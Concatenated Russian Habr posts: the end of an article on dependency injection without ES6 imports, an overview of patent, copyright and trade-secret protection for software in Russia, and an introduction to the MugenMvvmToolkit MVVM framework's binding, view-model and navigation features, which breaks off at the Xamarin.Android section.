Что вполне логично и соответствует "*бритве Оккама*" — не плоди сущностей сверх необходимого. И хотя в исходном TS-коде мы имели зависимость от абстракции и `import`, указывающий на эту абстракцию, в результирующем JS-коде осталась только зависимость, без `import`'а.
Внедрение зависимостей
======================
Основная идея [внедрения зависимостей](https://ru.wikipedia.org/wiki/%D0%92%D0%BD%D0%B5%D0%B4%D1%80%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B7%D0%B0%D0%B2%D0%B8%D1%81%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8) - "*объект пассивен и не предпринимает вообще никаких шагов для выяснения зависимостей, а предоставляет для этого сеттеры и/или принимает своим конструктором аргументы, посредством которых внедряются зависимости*".
Т.е., чтобы JS-код соответствовал принципам внедрения зависимостей, создание зависимостей и их внедрение должно выполняться внешней по отношению к JS-коду сущностью — контейнером. JS-код должен предоставить механизм внедрения зависимостей (сеттеры, конструктор, аргументы функции), а контейнер каким-то образом сам должен сообразить (например, на основе конфигурации), какие зависимости нужны в каком случае, создать нужные объекты и внедрить их, используя сеттеры, конструктор или входные аргументы.
В сочетании с принципом инверсии зависимостей и текущими особенностями JavaScript (отсутствием интерфейсов) я прихожу к выводу, что при декларации классов/функций, зависящих от абстракций, в `es6`-модулях не должны использоваться `import`'ы, т.к. они привязаны к конкретным имплементациям (файлам — `es6`-модулям). Поэтому в приложениях, в которых соблюдается принцип инверсии зависимостей, допустимы `es6`-модули в которых полностью отсутствуют импорты, несмотря на то, что в них есть зависимости от других `es6`-модулей. Что-то типа:
```
export class DiCompatible {
constructor(dep1, dep2, dep3) {...}
...
}
```
В таком случае внедрением зависимостей занимается DI-контейнер - именно он, в соответствии со своими настройками, должен разрешать (resolve'ить) запрошенные зависимости, загружать нужные модули и импортировать соответствующие объекты кода (классы/функции). А наличие в коде `es6`-модулей импортов конкретных имплементаций "*убивают*" принцип инверсии зависимостей. | https://habr.com/ru/post/571598/ | null | ru | null |
# Охрана IT-решений в России
Цель данного поста донести информацию о способах охраны ИТ-решений в России — патенты, авторское право, ноу-хау. Протестующих против интеллектуальной собственности – просьба не сюда. Не будем разводить дебатов, сотни их…
Первым делом, давайте начнем с истоков, чтобы выстроить терминологию, которую будем использовать в дальнейшем. Наша первоочередная задача понять взаимоотношение между алгоритмом и программой ЭВМ.
#### Задача
Пусть у нас есть задача, которую выдали программисту Валере, чей интеллектуальный труд мы собираемся охранять.
Имеется последовательность целых чисел:
1, 4, 0, 3, 7, 11
Требуется упорядочить числа по возрастанию, т.е. привести их к виду
0, 1, 3, 4, 7, 11
Для решения этой задачи необходимо разработать алгоритм.
> Алгоритм — **способ решения** вычислительных и др. **задач**, точно **предписывающий**, **как** и в какой последовательности **получить результат**, однозначно **определяемый** исходными **данными**.
>
>
Валера разработал алгоритм, который решает поставленную задачу. Для упрощения он «разработал/придумал» пузырьковую сортировку, блок-схема алгоритма которой выглядит так:
И написал несколько реализаций данного алгоритма в виде программ ЭВМ.
> Программа ЭВМ — представленная в объективной форме **совокупность данных и команд, предназначенных для** функционирования **ЭВМ** и других компьютерных устройств **в целях получения** определенного **результата**, включая подготовительные материалы, полученные в ходе разработки программы для ЭВМ и порождаемые ею аудиовизуальные отображения (статья 1261 ГК РФ).
>
>
Т.е. одну программу он написал на C:
```
#define SWAP(A, B) { int t = A; A = B; B = t; }
void bubblesort(int *a, int n)
{
int i, j;
for (i = n - 1; i > 0; i--)
{
for (j = 0; j < i; j++)
{
if (a[j] > a[j + 1])
SWAP( a[j], a[j + 1] );
}
}
}
```
Вторую на Python:
```
def swap(arr, i, j):
arr[i], arr[j] = arr[j], arr[i]
def bubble_sort(arr):
i = len(arr)
while i > 1:
for j in xrange(i - 1):
if arr[j] > arr[j + 1]:
swap(arr, j, j + 1)
i -= 1
```
А третью – на ассемблере:
```
mov bx, offset array
mov cx, n
for_i:
dec cx
xor dx, dx
for_j:
cmp dx, cx
jae exit_for_j
jbe no_swap
mov ah, byte ptr bx[di]
mov byte ptr bx[di], al
mov byte ptr bx[si], ah
no_swap:
inc dx
jmp for_j
exit_for_j:
loop for_i
```
Отсюда возникает следующее утверждение, довольно-таки банальное:
**У** одного **алгоритма** может быть **множество реализаций**, как в рамках одного языка программирования, так и **на разных языках программирования**. И, наоборот, **в** любой **программе ЭВМ** (не берем вырожденные случаи) всегда **есть** какой-то **алгоритм**.
И теперь встает вопрос: «Как и что из этого, и каким способом, мы можем защитить в рамках закона?»
#### Охрана алгоритма
##### Патенты
На алгоритм программы ЭВМ можно получить патент на изобретение (на способ) при соблюдении всех условий, предъявляемых к изобретениям:
* Наличие новизны;
* Изобретательского уровня;
* Промышленной применимости.
И наличие технического результата.
Примерами технических результатов могут быть:
* **ускорение доступа к релевантной информации**
патент [RU2456661](http://www.fips.ru/cdfi/fips.dll?ty=29&docid=2456661&cl=9&path=http://195.208.85.248/Archive/PAT/2012FULL/2012.07.20/DOC/RUNWC2/000/000/002/456/661/document.pdf) “ЭФФЕКТИВНАЯ НАВИГАЦИЯ РЕЗУЛЬТАТОВ ПОИСКА”, МАЙКРОСОФТ КОРПОРЕЙШН (US)
* **повышение качества поиска**
патент [RU2460131](http://www.fips.ru/cdfi/fips.dll?ty=29&docid=2460131&cl=9&path=http://195.208.85.248/Archive/PAT/2012FULL/2012.08.27/DOC/RUNWC2/000/000/002/460/131/document.pdf) “ОСНАЩЕНИЕ ПОЛЬЗОВАТЕЛЬСКОГО ИНТЕРФЕЙСА РАСШИРЕНИЕМ ПОИСКОВЫХ ЗАПРОСОВ”, ГУГЛ ИНК (US)
Плюсы патентов:
* Охраняют алгоритм и любые его реализации на любых языках программирования;
* Действует 20 лет.
Минусы патентов:
* Национальный/региональный характер – охрана действует только на территории тех стран, куда подавалась заявка на патент;
* Довольно ощутимо «бьют по карману» в случае патентования за рубежом;
* Долгий срок получения патента (1.5 года в РФ, 3-4 года в США, больше 4-х лет в Европе).
Из чего состоят расходы на патент (цены указаны примерно, для оценки):
* Пошлины:
1. РФ – ~10 000 руб.;
2. США – ~3 000 USD;
3. Европа с 1 апреля 2014 г. (унитарный патент) — ~4750 Euro (пошлина за подачу);
* Патентные поверенные (для подачи заявки в другое государство) – ~2000 Euro для каждой страны;
* Перевод заявки на др. язык – от 20 000 руб.;
* Консалтинговые услуги – большой разброс цен от 20 000 до 200 000 руб. (если делать в заграничных компаниях, то еще дороже).
##### Ноу –Хау или коммерческая тайна
Так же, если нет денег, то можно ввести на предприятии/в организации режим коммерческой тайны.
Подробно останавливаться не имеет смысла, т.к. эта тема широко расписана в интернете.
Плюсы ноу-хау:
* Недорогое внедрение
* Защита от утечек идеи из коллектива
Минусов у ноу-хау несколько:
* Нет защиты от реверс-инжиниринга;
* Нет защиты от разработки другой компанией вашего аналога;
* Возможность «попасть» под патентные разборки, если кто-то ушлый запатентует схожее с вашим решением.
##### Смешанный тип – Ноу-Хау + Патенты
Очень распространенное решение. Патентами защищается основная часть системы, а все детали реализации, «тонкие настройки» охраняются в режиме ноу-хау.
Плюсы:
* Экономия денег, по сравнению с чисто патентной защитой;
* Никто не может повторить полностью ваше решение (легальными способами), т. к. детали скрыты от посторонних, но при этом основной функционал покрыт патентами.
Минусы:
* Минусы комбинированные – часть, защищенная ноу-хау, имеет минусы как у ноу-хау, часть, защищенная патентами – минусы патентной защиты.
#### Охрана программы ЭВМ
Программы ЭВМ охраняются как литературные произведения нормами авторского права, и поэтому охраняют конкретную реализацию алгоритма, а не сам алгоритм.
Чтобы заявить свое авторство, можно воспользоваться, как простым вариантом, из серии отправить письмо с распечаткой исходников самому себе через почту России, так и можно зарегистрировать программу ЭВМ в Роспатенте (депонирование), но, правда, не более 70 страниц – при этом приходится программы разбивать на части. Так же, при регистрации в Роспатенте можно к программе ЭВМ прикрепить аудиовизуальные отображения, а попросту – скриншоты программы, что в дальнейшем можно использовать для охраны интерфейса от подделок или прямого копирования.
Плюсы:
* Охрана программы от «утечки» исходников;
* Охрана от копирования интерфейса (в разумных пределах).
Минусы:
* Охрана конкретной реализации, а не алгоритма (не получится зарегистрированную программу на Python’e защитить от реализации на ассемблере);
* Частое изменение исходников требует частых «телодвижений».
#### Собираем все вместе в виде FAQ
Я хочу защитить свою идею от реализации конкурентами:
Я хочу «застолбить» свой алгоритм за собой:
Я разработал уникальные алгоритмы, которые могут украсть:
Я боюсь, что мою идею украдут методом обратного проектирования:
* Патент
Что делать, чтобы идею не украли:
Что делать, чтобы идея не утекла из компании вместе с сотрудниками:
* Введение режима коммерческой тайны
Как защититься от утечки исходников:
Как застолбить авторство программы за собой:
Как защитить интерфейс от подделок
* Регистрация (депонирование) программы ЭВМ
#### Вместо послесловия
Пока наши разработчики спят… Крупные корпорации переходят на нацфазу в Россию. По статистике, Microsoft подает заявки в РФ более чем на 100 патентов ежегодно. Среди софтверных патентов отметились так же: VISA, AVG, MOTOROLA, FORD (см. [патент](http://www.fips.ru/cdfi/fips.dll?ty=29&docid=2011139473&cl=9&path=http://195.208.85.248/Archive/PAT/2013FULL/2013.04.10/DOC/RUNWA/000/002/011/139/473/document.pdf)), GOOGLE, FACEBOOK, INTEL… тысячи их.
А что у нас?
Большинство Российских софтверных компаний игнорируют интеллектуальную собственность. Из тех, кто успел засветиться на поприще интеллектуальной собственности – Abbyy (порядка 17 патентов РФ), Лаборатория Касперского (43 патента), да некоторые наши НИИ. Такой расклад немного печален по нескольким факторам – никто не застрахован от патентных исков со стороны выше перечисленных компаний, патентных троллей и все это может аукнуться на любом этапе проекта.
##### Используемая литература и источники
[www.uspto.gov](http://www.uspto.gov) — сайт патентного ведомства США
[www1.fips.ru](http://www1.fips.ru) — сайт патентного ведомства России
[epo.org](http://epo.org) — сайт патентного ведомства Европы
Вопросы/Пожелания/Уточнения? | https://habr.com/ru/post/190712/ | null | ru | null |
# MugenMvvmToolkit — кроссплатформенный MVVM фреймворк
[MugenMvvmToolkit](https://github.com/MugenMvvmToolkit/MugenMvvmToolkit)
------------------------------------------------------------------------
Введение
--------
Паттерн MVVM хорошо известен, о нем написано много статей, наверное каждый NET-разработчик сталкивался или слышал об этом паттерне. Цель этой статьи – рассказать о собственной реализации этого паттерна.
MugenMvvmToolkit — является кроссплатформенной реализацией паттерна MVVM и на текущий момент поддерживает следующие платформы:
* WinForms
* WPF
* Silverlight 5
* Silverlight for WP7.1, WP8, WP8.1
* Xamarin.Android
* Xamarin.iOS
* Xamarin.Forms
* WinRT XAML framework for Windows 8 Store apps
Data binding (привязка данных)
------------------------------
Знакомство с проектом хотелось бы начать с элемента, без которого MVVM не может существовать – это привязка данных (Data Binding). Именно механизм привязки данных позволяет четко разделить абстракции View и ViewModel между собой.
Разработчики приложений для платформ WPF, Silverlight, Windows Store и Windows Phone хорошо знакомы со стандартной реализацией механизма Binding. Это мощная система, покрывающая все основные задачи. Однако она имеет ряд недостатков, которые и подтолкнули к созданию собственной реализации Binding. Ниже приведены наиболее существенные, на мой взгляд, недостатки:
* Отсутствие расширяемости. Пожалуй, самый главный недостаток, который порождает все остальные. Возможно, в Microsoft очень торопились с реализацией Binding, т.к. все инфраструктурные классы имеют модификатор доступа internal, а если класс публичный, то все его виртуальные методы помечены модификатором internal. Положение дел хорошо иллюстрирует комментарии над публичным классом `System.Windows.Expression:`
```
//“This type supports the Windows Presentation Foundation (WPF) infrastructure and is not intended to be used directly from your code”.
```
* Избыточность синтаксиса. Например, у вас объявлено свойство типа bool и вы хотите в Binding использовать его отрицание. Для это необходимо написать класс конвертора для инверсии значения, зарегистрировать его в ресурсах, и лишь затем он будет доступен в коде. Binding в этом случае выглядит примерно так:
`{Binding HasErrors, Converter={StaticResource InverseBooleanConverter}}`
Было бы вполне логичном и естественным использовать привычный оператор «!»:
`{Binding !HasErrors}`
* Отсутствие поддержки Binding на события контрола. Наверное, многие использовали какой-нибудь вспомогательный класс `EventToCommand` для этих целей.
* Зависимость от платформы. Возможности Binding сильно зависят от конкретной платформы. Например, на Windows Phone нет возможности обновлять Binding на изменение свойства (`UpdateSourceTrigger=PropertyChanged`). На платформе WinRT эта возможность вернулась, но исчезли свойства `ValidatesOnExceptions` и `ValidatesOnNotifyDataErrors`, отвечающие за валидацию, а также исчезло свойство `StringFormat`, отвечающее за форматирование результата.
Если работать лишь на одной платформе, можно смириться с этими недостатками и применять различные «обходные решения». Но т.к. проект предназначен для многих платформ, некоторые из которых не имеют даже стандартных Binding, было принято решение создать свою собственную реализацию, обладающую одинаковыми возможностями на всех платформах.
В результате получилась реализация Binding со следующими возможностями:
* Расширяемость. Парсер при создании Binding строит синтаксическое дерево, и это позволяет легко его расширять без манипуляций с текстом. Структура очень похожа на деревья выражений в C#.
* Поддержка синтаксиса C#. Binding поддерживает все основные операторы (`??, ?:, +, -, *, /, %, , ==, !=, <, >, <=, >=, &&(and), ||(or), |, &, !, ~`), приоритет операций учитывается в соответствии со стандартом языка C#. Поддерживаются лямбда-выражения, вывод обобщенных типов на основании значений, вызов методов, вызов методов расширения, Linq.
Пример синтаксиса:
`TargetPath SourcePath, Mode=TwoWay, Validate=true`
+ `TargetPath` – путь для Binding из контрола.
+ `SourcePath` – путь для Binding из источника данных или выражение на языке C#, можно использовать несколько путей.
+ `Mode, Validate` – дополнительные параметры для Binding, например `Mode, Fallback, Delay` и т.д.
Ключевые слова:
+ `$self` – возвращает текущий контрол на который установлен Binding, аналог `{RelativeSource Self}`.
+ `$root` – возвращает текущий корневой элемент для контрола на который установлен Binding.
+ `$context` – возвращает текущий `DataContext` для Binding, аналог `{RelativeSource Self, Path=DataContext}`.
+ `$args` – возвращает текущий параметр `EventArgs`, может быть использовано только если `TargetPath` указывает на событие.
**Примеры**
```
Text Property, Mode=TwoWay, Validate=True
Text Items.First(x => x == Name).Value + Values.Select(x => x.Value).First(x => x == Name), Fallback=’empty’
Text $string.Format('{0} {1}', Prop1, Prop2), Delay=100
Text $string.Join($Environment.NewLine, $GetErrors()), TargetDelay=1000
Text Property.MyCustomMethod()
Text Prop1 ?? Prop2
Text $CustomMethod(Prop1, Prop2, ‘string value’)
Text Prop1 == ‘test’ ? Prop2 : ‘value’
```
* Поддержка Binding на события контрола с доступом к параметру `EventArgs`, используя ключевое слово `$args`.
**Примеры**
```
TextChanged EventMethod($args.UndoAction)
TextChanged EventMethodMultiParams(Text, $args.UndoAction)
```
* Поддержка валидации. Валидация обеспечивается стандартным интерфейсом `INotifyDataErrorInfo`. На каждой платформе будет показано сообщение об ошибке.
**Примеры**
```
Text Property, Mode=TwoWay, ValidatesOnNotifyDataErrors=True
Text Property, Mode=TwoWay, ValidatesOnNotifyDataErrors=True, ValidatesOnExceptions=True
Text Property, Mode=TwoWay, Validate=True //эквивалентно ValidatesOnNotifyDataErrors=True, ValidatesOnExceptions=True
```
* Расширенный Binding на команды. Если Binding устанавливается на команду, можно определить, как будет реагировать контрол на «доступность» команды, команда может делать не активным контрол (`Enabled = false`) в случае если нельзя выполнить команду.
**Примеры**
```
Click Command, ToggleEnabledState=false //не изменяет состояние контрола
Click Command, ToggleEnabledState=true //изменяет состояние контрола
```
* Расширенная поддержка валидации. Встроенный метод `$GetErrors()` вернет ошибки валидации всей формы по всем свойствам или ошибки для конкретных свойств. Метод бывает полезным, когда есть необходимость показать пользователю ошибки на форме.
**Примеры**
```
Text $GetErrors(Property).FirstOrDefault()
Text $string.Join($Environment.NewLine, $GetErrors()) //Суммирует все ошибки в одну строку использую новую строку, как разделитель.
```
* Относительный Binding. Binding можно установить на текущий контрол или на любой другой внутри дерева визуальных контролов (аналог свойства `RelativeSource` для XAML платформ).
Вспомогательные методы:
+ `$Element(ElementName)` – ищет элемент с именем ElementName.
+ `$Relative(Type), $Relative(Type, 1)` – ищет среди родительских элементов контрол с типом `Type` и (при необходимости) с учетом уровня родительского элемента(второй параметр).
+ `$self` – возвращает текущий элемент на который установлен Binding.
**Примеры**
```
Text $Relative(Window).Title
Text $self.ActualWidth
Text $Element(NamedSlider).Value
```
* Поддержка присоединяемых свойств, событий и методов. Позволяет легко расширить любой тип. Например, в WinForms у `DataGridView` нет свойтсва `SelectedItem`, но мы легко можем его добавить, используя присоединяемое свойство:
**Пример**
```
var member = AttachedBindingMember.CreateMember("SelectedItem",
(info, view) =>
{
var row = view.CurrentRow;
if (row == null)
return null;
return row.DataBoundItem;
}, (info, view, item) =>
{
view.ClearSelection();
if (item == null)
return;
for (int i = 0; i < view.Rows.Count; i++)
{
if (Equals(view.Rows[i].DataBoundItem, item))
{
var row = view.Rows[i];
row.Selected = true;
}
}
}, "CurrentCellChanged"); //CurrentCellChanged - событие в DataGridView, которое отвечает за изменение свойства.
//Регистрация свойства
BindingServiceProvider.MemberProvider.Register(member);
```
* Поддержка динамических ресурсов. Вы можете добавить любой объект в ресурсы, а затем обращаться к нему через биндинг. С помощью динамических ресурсов легко реализовать кроссплатформенную локализацию приложения.
**Пример**
```
//Регистрирует объект типа MyResourceObject с именем i18n
BindingServiceProvider.ResourceResolver.AddObject("i18n", new BindingResourceObject(new MyResourceObject()));
//Пример Binding для доступа к ресурсу
Text $i18n.MyResourceString
```
* Поддержка Fluent-синтаксиса.
**Пример**
```
var textBox = new TextBox();
var set = new BindingSet(textBox);
set.Bind(window => window.Text).To(vm => vm.Property).TwoWay();
set.Apply();
```
* Кроссплатформенность. Все необходимые интерфейсы и классы собраны в portable class library. Любая платформа будет работать с одним и тем же кодом, с одинаковыми возможностями.
* Производительность. На платформах, где есть стандартная реализация Binding, MugenMvvmToolkit Binding работает быстрее, стандартной реализации, при этом предоставляя гораздо больше возможностей.
Особенности реализации MVVM
---------------------------
На данный момент существует огромное количество различных MVVM фреймворков, но большинство из них выглядят примерно одинаково:
* Один или два класса, которые реализуют интерфейс `INotifyPropertyChanged`.
* Класс, который реализует интерфейс `ICommand`.
* Класс `Messenger`, который позволяет обмениваться сообщениями между классами.
* Несколько вспомогательных методов, для синхронизации UI потоков.
Наверное, такой фреймворк писал каждый, но такие реализации далеки от идеальных и не решают, главных проблем MVVM, таких как:
* Навигация между `ViewModel` вне зависимости от платформы.
* Создание `ViewModel`, через конструктор с зависимостями и параметрами.
* Динамическое связывание `ViewModel` и `View`.
* Управление состоянием `ViewModel` в зависимости от жизненного цикла `View`.
* Сохранение\восстановление состояния `ViewModel` в зависимости от платформы.
#### Основные особенности MugenMvvmToolkit:
* Кроссплатформенность. На данный момент, поддерживаются все основные платформы, на которых можно использовать язык C#. Все необходимые интерфейсы и классы собраны в portable class library. Любая платформа будет работать с одним и тем же кодом, с одинаковыми возможностями.
* Единый код `ViewModel` для разных платформ.
* Интеграция с DI-контейнерами. MugenMvvmToolkit не привязан к конкретному DI-контейнеру, для взаимодействия используется интерфейс `IIocContainer`. На текущий момент существуют реализации для трех DI-контейнеров `MugenInjection`, `Autofac`, `Ninject`. Список можно расширить, добавив реализацию интерфейса `IIocContainer` для любого другого контейнера.
* Наличие нескольких базовых классов `ViewModel`, для различных ситуаций.
+ `ViewModelBase` – базовый класс для всех `ViewModel`, содержит методы для создания других `ViewModel`, методы для обмена сообщениями, методы и свойства `IsBusy`, `BusyMessage` для управление состоянием асинхронных операций.
+ `CloseableViewModel` – наследуется от `ViewModelBase`, реализует интерфейс `ICloseableViewModel`, который позволяет управлять процессом закрытия `ViewModel`.
+ `ValidatableViewModel` – наследуется от `CloseableViewModel`, содержит методы и свойства для валидации, реализует интерфейс `INotifyDataErrorInfo` для уведомления Binding об ошибках.
+ `EditableViewModel` — наследуется от `ValidatableViewModel`, позволяет редактировать и валидировать модель данных, следит за состоянием объекта, позволяет отменять изменения.
+ `WorkspaceViewModel, WorkspaceViewModel` — наследуется от `CloseableViewModel`, содержит свойства `IsSelected` и `DisplayName` — для удобного отображения `ViewModel` в интерфейсе. Реализует интерфейс `IViewAwareViewModel`, который позволяет обращаться к `View`, через интерфейс `IView`. Реализует интерфейс `INavigableViewModel`, который позволяет отслеживать процесс навигации для `ViewModel`, методы `OnNavigatedFrom`, `OnNavigatingFrom`, `OnNavigatedTo`.
+ `GridViewModel` — наследуется от `ViewModelBase`, позволяет работать с коллекциями различных объектов.
+ `MultiViewModel` – наследуется от `CloseableViewModel`, позволяет работать с коллекциями других `ViewModel`, хорошо подходит для привязки к `TabControl`.
* MugenMvvmToolkit не использует `ViewModelLocator` для создания `ViewModel`. Все `ViewModel` создаются с использованием DI-контейнера, за создание `ViewModel` отвечает интерфейс `IViewModelProvider`.
**Пример создания и взаимодействия ViewModel**
```
public class ItemViewModel : ViewModelBase
{
public ItemViewModel(ISomeService service)
{
}
public void InitializeValue()
{
}
}
public class MainViewModel : ViewModelBase
{
public void CreateViewModelMethod()
{
//Создание ViewModel
var viewModel = GetViewModel();
//Использование любого метода, свойства, события и т.д.
viewModel.InitializeValue();
}
}
```
* Сопоставление `View` с `ViewModel` происходит динамически. За сопоставление отвечает интерфейс `IViewMappingProvider`, по умолчанию используется соглашение об именовании. Для `ViewModel` удаляются следующие окончания:
`"ViewModel", "Vm"`,
а для `View`:
`"ActivityView", "FragmentView", "WindowView", "PageView", "FormView", "Form", "View", "V", "Activity", "Fragment", "Page", "Window"`
(вы можете расширить эти списки) и если после этого имена совпадают, то считается, что `View` соответствует `ViewModel`.
Пример сопоставления:
`MainViewModel, MainVm -> MainActivityView, MainFragmentView, MainWindowView и т.д.`
Если вы хотите явно задать `View` для `ViewModel`, вы можете использовать `ViewModelAttribute` (в этом случае соглашение об именовании игнорируется):
```
[ViewModel (typeof(MainViewModel))]
public partial class MainWindow : Window
```
Также вы можете задать имя для `View` и затем использовать его при создании/отображении `ViewModel`:
**Пример**
```
[ViewModel (typeof(ItemViewModel), “ViewName”)]
public partial class ItemView : Window
//Создание ViewModel с явно заданным именем View
//В момент показа ViewModel система будет искать View с именем ViewName
var viewModel = GetViewModel(parameters: NavigationConstants.ViewName.ToValue("ViewName"));
//Создание ViewModel
var viewModel = GetViewModel();
//Явно указываем, что для показа ViewModel необходимо использовать View с именем ViewName
viewModel.ShowAsync(NavigationConstants.ViewName.ToValue("ViewName"));
```
* Мощная система валидации, поддержка асинхронной валидации, легкая интеграция с существующими фреймворками для валидации.
* Поддержка сохранения\восстановления состояния `ViewModel`. Если `ViewModel` имеет состоянии, которое нужно сохранять, она должна реализовать интерфейс `IHasState`, который имеет два метода `LoadState` и `SaveState`. Система будет автоматически вызывать эти методы в зависимости от жизненного цикла приложения и текущей платформы.
**Пример**
```
private static readonly DataConstant StringState = DataConstant.Create(() => StringState, true);
public void LoadState(IDataContext state)
{
//вы можете использовать строго типизированные ключи
state.AddOrUpdate(StringState, "Constant key");
//вы также можете использовать обычные строки для ключей
state.AddOrUpdate("Test", "String key");
}
public void SaveState(IDataContext state)
{
string data = state.GetData(StringState);
var s = state.GetData("Test");
}
```
#### Навигация
Отдельно хотелось бы рассмотреть навигацию между `ViewModel`. Навигация в MVVM это одна из самых сложных тем, сюда входит показ диалоговых окон, добавление вкладок в `TabControl`, показ страниц для мобильных приложений и т.д. Сложной эта тема является, потому что на разных платформах одна и та же `ViewModel`, может быть диалоговым окном, `Page` (WinRT, WP, WPF, SL), `Activity`, `Fragment` (Android), `ViewController` (iOS) и т.д. При этом API для работы с `ViewModel`, должно выглядеть одинаково в независимости от платформы, т.к. для `ViewModel` нет разницы, как себя отображать.
Для начала рассмотрим примеры, того как навигация работает на разных платформах.
**Пример того, как показать диалоговое окно на WPF**
```
//При создании мы можем передавать любые параметры в конструктор
var mainWindow = new MainWindow();
//Здесь можно писать любой код ининциализаии и взаимодействия с окном.
mainWindow.Init(args);
if (!mainWindow.ShowDialog().GetValueOrDefault())
return;
//Этот код продолжит выполнение после закрытия окна, и мы легко можем получить результат.
```
Для WPF все очень просто, мы сами контролируем создание окна, его инициализацию и легко можем узнать, когда окно было закрыто.
**Пример навигации на новую Activity (Xamarin.Android)**
```
//Мы не можем сами создать Activity, мы лишь указываем тип, а система сама создает ее.
var page2 = new Intent (this, typeof(Page2));
//Мы можем передавать только простые параметры
page2.PutExtra ("arg1", arg)
StartActivity (page2);
//Нужно перезагрузить метод, чтобы узнать, когда завершится запущенная Activity
```
**Пример навигации на новую Page (WinRT и Windows phone)**
```
//Все те же ограничения что и на Android.
NavigationService.Navigate(typeof(Page2), arg);
```
Теперь давайте рассмотрим, как навигация работает в существующих MVVM фреймворках, для примера возьмем достаточно известный проект `MvvmCross`:
**Пример навигации MvvmCross**
```
ShowViewModel(new DetailParameters() { Index = 2 });
```
`DetailViewModel` должна иметь метод `Init`, который принимает класс `DetailParameters`:
```
public void Init(DetailParameters parameters)
{
// use the parameters here
}
```
При этом объект `DetailParameters` должен быть сериализуемым, поэтому никаких сложных объектов передавать нельзя. С таким подходом, также очень сложно получить результат из `DetailViewModel` после завершения навигации. Подход в MvvmCross, очень похож на стандартную навигацию для мобильных платформ. Вы указываете тип `ViewModel`, сериализуемый параметр и система отображает `View` и связывает ее с `ViewModel`. При этом узнать из одной `ViewModel`, когда была закрыта другая `ViewModel` достаточно сложно. Все эти ограничения связаны с тем, что на мобильных устройствах ваше приложение может быть полностью выгружено из памяти, а затем снова восстановлено, и тут возникает проблема с сохранением и восстановлением состояния. В основном эту проблему решают сохранением пути навигации и сериализацией параметров навигации, чтобы затем их можно было восстановить.
В сравнении с WPF, такой подход выглядит неудобным, но MugenMvvmToolkit позволяет использовать навигацию похожую на WPF для всех платформ. Основной идеей является возможность сериализовать делегат (класс машины состояний async/await), который должен выполниться после закрытия `ViewModel`. Рассмотрим на примере, нужно из `Vm1`, показать `Vm2` и обработать результат после закрытия `Vm2`, при этом не важно, на какой платформе и какое отображение будет у `Vm2`:
**Пример навигации MugenMvvmToolkit**
```
public class Vm2 : ViewModelBase
{
public void InitFromVm1()
{
}
public object GetResult()
{
return null;
}
}
public class Vm1 : ViewModelBase
{
public async void Open()
{
var vm2 = GetViewModel();
//Здесь вы можете передать любые параметры, вызвать любые методы и т.д
vm2.InitFromVm1();
//Возвращает интерфейс типа IAsyncOperation,
//который позволяет зарегестрировать делегат который будет вызван при закрытии Vm2
IAsyncOperation asyncOperation = vm2.ShowAsync(Vm2CloseCallback);
//Еще один способ добавить делегат
asyncOperation.ContinueWith(Vm2CloseCallback);
//Или вы можете использовать ключевое слово await
await asyncOperation;
//Этот код будет выполнен после закрытия Vm2
//Получаем результат после закрытия
var result = vm2.GetResult();
}
private void Vm2CloseCallback(IOperationResult operationResult)
{
//Получаем результат после закрытия
var result = ((Vm2)operationResult.Source).GetResult();
}
private void Vm2CloseCallback(Vm2 vm2, IOperationResult operationResult)
{
//Получаем результат после закрытия
var result = vm2.GetResult();
}
}
```
И этот код будет работать в независимости от платформы и способа отображения `Vm2`, и даже если ваше приложение будет выгружено из памяти, все зарегистрированные делегаты и машины состояний, также будут сохранены, а затем восстановлены. Если вы хотите использовать async/await на платформе WinRT или Windows Phone вам нужно будет установить [плагин для Fody](https://github.com/MugenMvvmToolkit/MugenMvvmToolkit.Fody), это связано с ограничениями рефлексии для этих платформ.
Одной из особенностей MugenMvvmToolkit является глубокая интеграция с каждой платформой, это позволяет использовать все плюсы платформы в рамках MVVM.
WPF и SL
--------
Особенности MugenMvvmToolkit для WPF\SL:
* Поддержка навигации с использованием диалогов/окон для WPF. Если вы сопоставите `Window` с какой-либо `ViewModel`, то при вызове метода `ShowAsync`, будет показано диалоговое окно.
* Поддержка навигации с использованием класса `ChildWindow` для SL. Если вы сопоставите `ChildWindow` с какой-либо `ViewModel`, то при вызове метода `ShowAsync`, будет показано диалоговое окно.
* Поддержка страничной навигацию, для WPF – `NavigationWindow`, для SL — `Frame`.
* Поддержка валидации с использованием стандартного свойства [System.Windows.Controls.Validation.Errors](http://msdn.microsoft.com/en-US/library/system.windows.controls.validation.errors(v=vs.110).aspx).
Для того, чтобы использовать Binding, необходимо установить дополнительный пакет из [nuget](http://www.nuget.org/packages/MugenMvvmToolkit.Binding/), после установки вам будет доступен класс `DataBindingExtension` и attached property `View.Bind`.
**Примеры использования Binding**
```
```
WinRT и Windows phone
---------------------
Особенности MugenMvvmToolkit для WinRT\WinPhone:
* Поддержка страничной навигации с использованием класса `Page`. Если вы сопоставите `Page` с какой-либо `ViewModel`, то при вызове метода `ShowAsync`, будет показана новая страница.
* Поддержка валидации с использованием стандартного свойства [System.Windows.Controls.Validation.Errors](http://msdn.microsoft.com/en-US/library/system.windows.controls.validation.errors(v=vs.110).aspx).
Для того, чтобы использовать Binding, необходимо установить дополнительный пакет из [nuget](http://www.nuget.org/packages/MugenMvvmToolkit.Binding/), после установки вам будет доступно attached property `View.Bind`. Для его использования необходимо добавить пространство имен:
```
xmlns:markupExtensions="clr-namespace:MugenMvvmToolkit.MarkupExtensions;assembly=MugenMvvmToolkit.WinPhone"
xmlns:markupExtensions="using:MugenMvvmToolkit.MarkupExtensions"
```
**Примеры использования Binding**
```
```
WinForms
--------
Особенности MugenMvvmToolkit для WinForms:
* MugenMvvmToolkit предоставляет удобный xml-редактор для Binding.
* Поддержка `DataTemplateSelector` для Binding, аналог `DataTemplateSelector` для Xaml платформ.
* Поддержка навигации с использованием класса `Form`. Если вы сопоставите `Form` с какой-либо `ViewModel`, то при вызове метода `ShowAsync`, будет показано диалоговое окно.
* Поддержка валидация с использованием стандартного класса `System.Windows.Forms.ErrorProvider`.
Для того, чтобы использовать Binding необходимо:
1. Создать класс, который наследуется от класса Binder:
```
public class ViewBinder : Binder
{
public ViewBinder()
{
}
public ViewBinder(IContainer container)
: base(container)
{
}
}
```
2. Скомпилировать проект, открыть дизайнер с нужной формой, перейти во вкладку Toolbox, там должен появиться класс `ViewBinder`
3. Добавить его на форму, после этого можно добавлять Binding используя свойство `Bindings`.
**Примеры использования Binding**
```
```
Xamarin.Android
---------------
Особенности MugenMvvmToolkit для Xamarin.Android:
